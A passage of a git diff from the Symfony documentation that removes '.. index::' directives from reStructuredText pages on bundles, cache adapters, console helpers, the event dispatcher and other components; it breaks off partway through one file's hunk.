 service_container.rst                         |  7 ----
 service_container/alias_private.rst           |  3 --
 service_container/autowiring.rst              |  3 --
 service_container/calls.rst                   |  3 --
 service_container/compiler_passes.rst         |  4 ---
 service_container/configurators.rst           |  3 --
 service_container/debug.rst                   |  4 ---
 service_container/definitions.rst             |  3 --
 service_container/expression_language.rst     |  6 ----
 service_container/factories.rst               |  3 --
 service_container/import.rst                  | 10 ------
 service_container/injection_types.rst         |  3 --
 service_container/lazy_services.rst           |  3 --
 service_container/parent_services.rst         |  3 --
 service_container/request.rst                 |  4 ---
 service_container/service_closures.rst        |  3 --
 service_container/service_decoration.rst      |  3 --
 .../service_subscribers_locators.rst          |  3 --
 service_container/shared.rst                  |  3 --
 service_container/synthetic_services.rst      |  3 --
 service_container/tags.rst                    |  4 ---
 session.rst                                   | 16 ----------
 setup.rst                                     |  3 --
 setup/bundles.rst                             |  3 --
 setup/docker.rst                              |  2 --
 setup/flex.rst                                |  2 --
 setup/homestead.rst                           |  2 --
 setup/upgrade_major.rst                       |  3 --
 setup/upgrade_minor.rst                       |  3 --
 setup/upgrade_patch.rst                       |  3 --
 setup/web_server_configuration.rst            |  3 --
 templates.rst                                 | 12 -------
 testing.rst                                   |  3 --
 testing/database.rst                          |  3 --
 testing/dom_crawler.rst                       |  3 --
 testing/http_authentication.rst               |  3 --
 testing/insulating_clients.rst                |  3 --
 testing/profiling.rst                         |  3 --
 translation.rst                               | 18 -----------
 validation.rst                                | 31 ------------------
 validation/custom_constraint.rst              |  3 --
 validation/groups.rst                         |  3 --
 validation/raw_values.rst                     |  3 --
 validation/sequence_provider.rst              |  4 ---
 validation/severity.rst                       |  4 ---
 validation/translations.rst                   |  3 --
 web_link.rst                                  |  3 --
 workflow/dumping-workflows.rst                |  3 --
 289 files changed, 1188 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index ed194614c34..34b6e644d46 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundles
-
 .. _page-creation-bundles:
 
 The Bundle System
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index eecd1da7e44..d5c73209f26 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundle; Best practices
-
 Best Practices for Reusable Bundles
 ===================================
 
@@ -9,9 +6,6 @@ configurable and extendable. Reusable bundles are those meant to be shared
 privately across many company projects or publicly so any Symfony project can
 install them.
 
-.. index::
-   pair: Bundle; Naming conventions
-
 .. _bundles-naming-conventions:
 
 Bundle Name
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 007ad99759f..e25d6e01036 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Create Friendly Configuration for a Bundle
 =================================================
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index eadd0ab864a..2a8a5965451 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Load Service Configuration inside a Bundle
 =================================================
 
diff --git a/bundles/override.rst b/bundles/override.rst
index 6cf3d37c386..a524780baa9 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundle; Inheritance
-
 How to Override any Part of a Bundle
 ====================================
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 53f0fed9da9..6ad1ad758d3 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Simplify Configuration of Multiple Bundles
 =================================================
 
diff --git a/cache.rst b/cache.rst
index e9ff5d41de2..48d3a250bd1 100644
--- a/cache.rst
+++ b/cache.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache
-
 Cache
 =====
 
diff --git a/components/asset.rst b/components/asset.rst
index 9903702823e..b5c171d0fc9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Asset
-   single: Components; Asset
-
 The Asset Component
 ===================
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index f2c30cb8968..12c2a63a7c7 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: BrowserKit
-   single: Components; BrowserKit
-
 The BrowserKit Component
 ========================
 
diff --git a/components/cache.rst b/components/cache.rst
index 29c1f0fd42b..ff650ee13c3 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Cache
-   single: Performance
-   single: Components; Cache
-
 .. _`cache-component`:
 
 The Cache Component
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 17ecd4058e6..c85050e9b4c 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: APCu Cache
-
 .. _apcu-adapter:
 
 APCu Cache Adapter
diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index c7b06f40753..7429593f993 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Array Cache
-
 Array Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index b0dd5d029ee..9a91234096e 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Chain Cache
-
 .. _component-cache-chain-adapter:
 
 Chain Cache Adapter
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index cc99db1c967..f1e0c13b2b0 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Couchbase Cache
-
 .. _couchbase-adapter:
 
 Couchbase Bucket Cache Adapter
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 100acf14faa..a0c5e28c9a8 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Couchabase Cache
-
 .. _couchbase-collection-adapter:
 
 Couchbase Collection Cache Adapter
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 59c89c1c135..3b894e8388b 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Doctrine Cache
-
 .. _doctrine-adapter:
 
 Doctrine Cache Adapter
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 2a168d2522e..331dbb2dff6 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Filesystem Cache
-
 .. _component-cache-filesystem-adapter:
 
 Filesystem Cache Adapter
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 009ead59cbd..f2de83251c9 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Memcached Cache
-
 .. _memcached-adapter:
 
 Memcached Cache Adapter
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index e1bf8ab5540..3615d5a1bbf 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PDO Cache, Doctrine DBAL Cache
-
 .. _pdo-doctrine-adapter:
 
 PDO & Doctrine DBAL Cache Adapter
diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst
index 52259b87f86..ae5ef13f790 100644
--- a/components/cache/adapters/php_array_cache_adapter.rst
+++ b/components/cache/adapters/php_array_cache_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PHP Array Cache
-
 PHP Array Cache Adapter
 =======================
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index fcb5bcfffd1..dce77657292 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: PHP Files Cache
-
 .. _component-cache-files-adapter:
 
 PHP Files Cache Adapter
diff --git a/components/cache/adapters/proxy_adapter.rst b/components/cache/adapters/proxy_adapter.rst
index 203521f0e4c..5177bf219df 100644
--- a/components/cache/adapters/proxy_adapter.rst
+++ b/components/cache/adapters/proxy_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Proxy Cache
-
 Proxy Cache Adapter
 ===================
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9596386b80e..821fbb14050 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: Redis Cache
-
 .. _redis-adapter:
 
 Redis Cache Adapter
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index e9bedfbd7d6..1005d2d09a7 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Cache; Invalidation
-    single: Cache; Tags
-
 Cache Invalidation
 ==================
 
diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 027bb59f4a9..9f020a39de9 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -1,8 +1,3 @@
-.. index::
-    single: Cache Item
-    single: Cache Expiration
-    single: Cache Exceptions
-
 Cache Items
 ===========
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 375b514fe80..8d05cd268d5 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -1,14 +1,3 @@
-.. index::
-    single: Cache Pool
-    single: APCu Cache
-    single: Array Cache
-    single: Chain Cache
-    single: Doctrine Cache
-    single: Filesystem Cache
-    single: Memcached Cache
-    single: PDO Cache, Doctrine DBAL Cache
-    single: Redis Cache
-
 .. _component-cache-cache-pools:
 
 Cache Pools and Supported Adapters
diff --git a/components/cache/psr6_psr16_adapters.rst b/components/cache/psr6_psr16_adapters.rst
index 6b98d26744b..66e44b9c22d 100644
--- a/components/cache/psr6_psr16_adapters.rst
+++ b/components/cache/psr6_psr16_adapters.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: Cache
-   single: Performance
-   single: Components; Cache
-
 Adapters For Interoperability between PSR-6 and PSR-16 Cache
 ============================================================
 
diff --git a/components/config.rst b/components/config.rst
index 7de46a6c6b7..579d5b3149d 100644
--- a/components/config.rst
+++ b/components/config.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Config
-   single: Components; Config
-
 The Config Component
 ====================
 
diff --git a/components/config/caching.rst b/components/config/caching.rst
index 833492dd45e..810db48107e 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Caching based on resources
-
 Caching based on Resources
 ==========================
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8d336ea17b3..eaae06c4450 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Defining and processing configuration values
-
 Defining and Processing Configuration Values
 ============================================
 
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 99e20093402..22bdd2b34e9 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Config; Loading resources
-
 Loading Resources
 =================
 
diff --git a/components/console.rst b/components/console.rst
index 63808b14df1..14817240206 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Console; CLI
-    single: Components; Console
-
 The Console Component
 =====================
 
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index 6eb9f2b5227..cb035950d0b 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Changing the Default Command
-
 Changing the Default Command
 ============================
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index 79f5c6c1f4c..670f19e98d7 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Console arguments
-
 Understanding how Console Arguments and Options Are Handled
 ===========================================================
 
diff --git a/components/console/events.rst b/components/console/events.rst
index 100bc0084bc..dc03a8a88d9 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Events
-
 Using Events
 ============
 
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index 2485498fcab..e6d3ea3c78e 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Cursor Helper
-
 Cursor Helper
 =============
 
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index e824fac89a2..a5567fe63ed 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; DebugFormatter Helper
-
 Debug Formatter Helper
 ======================
 
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 78dd3dfa581..4e3f11940fd 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Formatter Helper
-
 Formatter Helper
 ================
 
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 09546769655..81cf8aae9bf 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Console Helpers
-
 The Console Helpers
 ===================
 
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index 45572d90a66..ef462cef731 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Process Helper
-
 Process Helper
 ==============
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 2a2c9473cff..fb3f2acfe7b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Progress Bar
-
 Progress Bar
 ============
 
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index d3e7498049b..01c7174e723 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Question Helper
-
 Question Helper
 ===============
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 7c75b4808db..e3bb282ed7e 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console Helpers; Table
-
 Table
 =====
 
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 8f029e47002..9136707416f 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Logger
-
 Using the Logger
 ================
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index b5a93e560ac..b05508f232b 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Single command application
-
 Building a single Command Application
 =====================================
 
diff --git a/components/console/usage.rst b/components/console/usage.rst
index e3a6601eec5..a38b06c2cc4 100644
--- a/components/console/usage.rst
+++ b/components/console/usage.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Console; Usage
-
 Using Console Commands, Shortcuts and Built-in Commands
 =======================================================
 
diff --git a/components/contracts.rst b/components/contracts.rst
index 1f1cc3f6adc..5fe0280e5a7 100644
--- a/components/contracts.rst
+++ b/components/contracts.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Contracts
-   single: Components; Contracts
-
 The Contracts Component
 =======================
 
diff --git a/components/css_selector.rst b/components/css_selector.rst
index 649a34293a4..adebe617424 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: CssSelector
-   single: Components; CssSelector
-
 The CssSelector Component
 =========================
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 470bcc7f2fc..dcc98bf2450 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection
-    single: Components; DependencyInjection
-
 The DependencyInjection Component
 =================================
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2d471177c58..3880d6b5508 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Compilation
-
 Compiling the Container
 =======================
 
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index eb0bbb06984..777b41dfabb 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Workflow
-
 Container Building Workflow
 ===========================
 
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 14dee197db6..db91554f026 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: DomCrawler
-   single: Components; DomCrawler
-
 The DomCrawler Component
 ========================
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8defeee6ba6..5459d27bdb3 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: EventDispatcher
-   single: Components; EventDispatcher
-
 The EventDispatcher Component
 =============================
 
@@ -46,9 +42,6 @@ event - ``kernel.response``. Here's how it works:
   ``kernel.response`` event, allowing each of them to make modifications
   to the ``Response`` object.
 
-.. index::
-   single: EventDispatcher; Events
-
 Installation
 ------------
 
@@ -76,9 +69,6 @@ An :class:`Symfony\\Contracts\\EventDispatcher\\Event` instance is also
 created and passed to all of the listeners. As you'll see later, the ``Event``
 object itself often contains data about the event being dispatched.
 
-.. index::
-   pair: EventDispatcher; Naming conventions
-
 Naming Conventions
 ..................
 
@@ -90,9 +80,6 @@ naming conventions:
 * End names with a verb that indicates what action has been taken (e.g.
   ``order.placed``).
 
-.. index::
-   single: EventDispatcher; Event subclasses
-
 Event Names and Event Objects
 .............................
 
@@ -126,9 +113,6 @@ listeners registered with that event::
 
     $dispatcher = new EventDispatcher();
 
-.. index::
-   single: EventDispatcher; Listeners
-
 Connecting Listeners
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -264,9 +248,6 @@ determine which instance is passed.
 
 .. _event_dispatcher-closures-as-listeners:
 
-.. index::
-   single: EventDispatcher; Creating and dispatching an event
-
 Creating and Dispatching an Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -345,9 +326,6 @@ Notice that the special ``OrderPlacedEvent`` object is created and passed to
 the ``dispatch()`` method. Now, any listener to the ``order.placed``
 event will receive the ``OrderPlacedEvent``.
 
-.. index::
-   single: EventDispatcher; Event subscribers
-
 .. _event_dispatcher-using-event-subscribers:
 
 Using Event Subscribers
@@ -427,9 +405,6 @@ example, when the ``kernel.response`` event is triggered, the methods
 ``onKernelResponsePre()`` and ``onKernelResponsePost()`` are called in that
 order.
 
-.. index::
-   single: EventDispatcher; Stopping event flow
-
 .. _event_dispatcher-event-propagation:
 
 Stopping Event Flow/Propagation
@@ -464,9 +439,6 @@ method which returns a boolean value::
         // ...
     }
 
-.. index::
-   single: EventDispatcher; EventDispatcher aware events and listeners
-
 .. _event_dispatcher-dispatcher-aware-events:
 
 EventDispatcher Aware Events and Listeners
@@ -477,9 +449,6 @@ name and a reference to itself to the listeners. This can lead to some advanced
 applications of the ``EventDispatcher`` including dispatching other events inside
 listeners, chaining events or even lazy loading listeners into the dispatcher object.
 
-.. index::
-   single: EventDispatcher; Event name introspection
-
 .. _event_dispatcher-event-name-introspection:
 
 Event Name Introspection
diff --git a/components/event_dispatcher/container_aware_dispatcher.rst b/components/event_dispatcher/container_aware_dispatcher.rst
index 659a94cee7a..ad07d7bc9a8 100644
--- a/components/event_dispatcher/container_aware_dispatcher.rst
+++ b/components/event_dispatcher/container_aware_dispatcher.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: EventDispatcher; Service container aware
-
 The Container Aware Event Dispatcher
 ====================================
 
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1dc2a5be638..dbc37cbe752 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: EventDispatcher
-
 The Generic Event Object
 ========================
 
diff --git a/components/event_dispatcher/immutable_dispatcher.rst b/components/event_dispatcher/immutable_dispatcher.rst
index 25940825065..0a930352bfe 100644
--- a/components/event_dispatcher/immutable_dispatcher.rst
+++ b/components/event_dispatcher/immutable_dispatcher.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: EventDispatcher; Immutable
-
 The Immutable Event Dispatcher
 ==============================
 
diff --git a/components/event_dispatcher/traceable_dispatcher.rst b/components/event_dispatcher/traceable_dispatcher.rst
index 33a98a2336b..7b3819e3a48 100644
--- a/components/event_dispatcher/traceable_dispatcher.rst
+++ b/components/event_dispatcher/traceable_dispatcher.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: EventDispatcher; Debug
-    single: EventDispatcher; Traceable
-
 The Traceable Event Dispatcher
 ==============================
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 41937ce4b0e..192d5c2d134 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Expressions
-    Single: Components; Expression Language
-
 The ExpressionLanguage Component
 ================================
 
@@ -122,9 +118,6 @@ expressions (e.g. the request, the current user, etc.):
     characters in untrusted data to prevent malicious users from injecting
     control characters and altering the expression.
 
-.. index::
-    single: Caching; ExpressionLanguage
-
 .. _expression-language-caching:
 
 Caching
@@ -193,10 +186,6 @@ Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
 
     var_dump($expressionLanguage->evaluate($expression)); // prints 5
 
-.. index::
-    single: AST; ExpressionLanguage
-    single: AST; Abstract Syntax Tree
-
 .. _expression-language-ast:
 
 AST Dumping and Editing
@@ -245,9 +234,6 @@ method to turn the AST into an array::
 
 .. _expression-language-extending:
 
-.. index::
-    single: Extending; ExpressionLanguage
-
 Extending the ExpressionLanguage
 --------------------------------
 
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 3b6c92ad6fa..02be4175446 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Filesystem
-
 The Filesystem Component
 ========================
 
diff --git a/components/finder.rst b/components/finder.rst
index ecae414084a..35041ddb2b1 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Finder
-   single: Components; Finder
-
 The Finder Component
 ====================
 
diff --git a/components/form.rst b/components/form.rst
index 601f66641b9..2f7b874d7bf 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Forms
-    single: Components; Form
-
 The Form Component
 ==================
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 062a21e4e87..68d686ff211 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpFoundation
-   single: Components; HttpFoundation
-
 The HttpFoundation Component
 ============================
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 21207bf1b1c..604ca684264 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: HTTP
-   single: HttpKernel
-   single: Components; HttpKernel
-
 The HttpKernel Component
 ========================
 
diff --git a/components/inflector.rst b/components/inflector.rst
index c42d6ebaeaa..89cf170c904 100644
--- a/components/inflector.rst
+++ b/components/inflector.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Inflector
-   single: Components; Inflector
-
 The Inflector Component
 =======================
 
diff --git a/components/intl.rst b/components/intl.rst
index 1645f9092be..bdf252f1650 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Intl
-   single: Components; Intl
-
 The Intl Component
 ==================
 
diff --git a/components/ldap.rst b/components/ldap.rst
index 08caf52b3e8..a0bec3c25dd 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Ldap
-   single: Components; Ldap
-
 The Ldap Component
 ==================
 
diff --git a/components/lock.rst b/components/lock.rst
index 0907dc114ba..ea7a66f0432 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Lock
-   single: Components; Lock
-
 The Lock Component
 ==================
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 0831bba736e..263a4dd1cca 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Messenger
-   single: Components; Messenger
-
 The Messenger Component
 =======================
 
diff --git a/components/mime.rst b/components/mime.rst
index a641283716e..c043b342ebc 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -1,8 +1,3 @@
-.. index::
-   single: MIME
-   single: MIME Messages
-   single: Components; MIME
-
 The Mime Component
 ==================
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index cabaf199c2b..78266c2a309 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: OptionsResolver
-    single: Components; OptionsResolver
-
 The OptionsResolver Component
 =============================
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fb583bc31ce..6b44256cc6e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: PHPUnitBridge
-   single: Components; PHPUnitBridge
-
 The PHPUnit Bridge
 ==================
 
diff --git a/components/process.rst b/components/process.rst
index 2752f25c0c1..12ee096df4e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Process
-   single: Components; Process
-
 The Process Component
 =====================
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 8238dee89f5..68bf5fc9e97 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: PropertyAccess
-    single: Components; PropertyAccess
-
 The PropertyAccess Component
 ============================
 
diff --git a/components/property_info.rst b/components/property_info.rst
index 1a60978a03e..057ca7aec97 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: PropertyInfo
-    single: Components; PropertyInfo
-
 The PropertyInfo Component
 ==========================
 
diff --git a/components/psr7.rst b/components/psr7.rst
index 2df3c6fc3af..f8a3915a816 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: PSR-7
-
 The PSR-7 Bridge
 ================
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 1e191333c66..f335cefa0b1 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Runtime
-   single: Components; Runtime
-
 The Runtime Component
 =====================
 
diff --git a/components/semaphore.rst b/components/semaphore.rst
index 810d12f76d2..84e272451c4 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Semaphore
-   single: Components; Semaphore
-
 The Semaphore Component
 =======================
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 5a95823163d..32e60fa240b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Serializer
-   single: Components; Serializer
-
 The Serializer Component
 ========================
 
diff --git a/components/string.rst b/components/string.rst
index 51516bc908d..2990cd36e48 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: String
-   single: Components; String
-
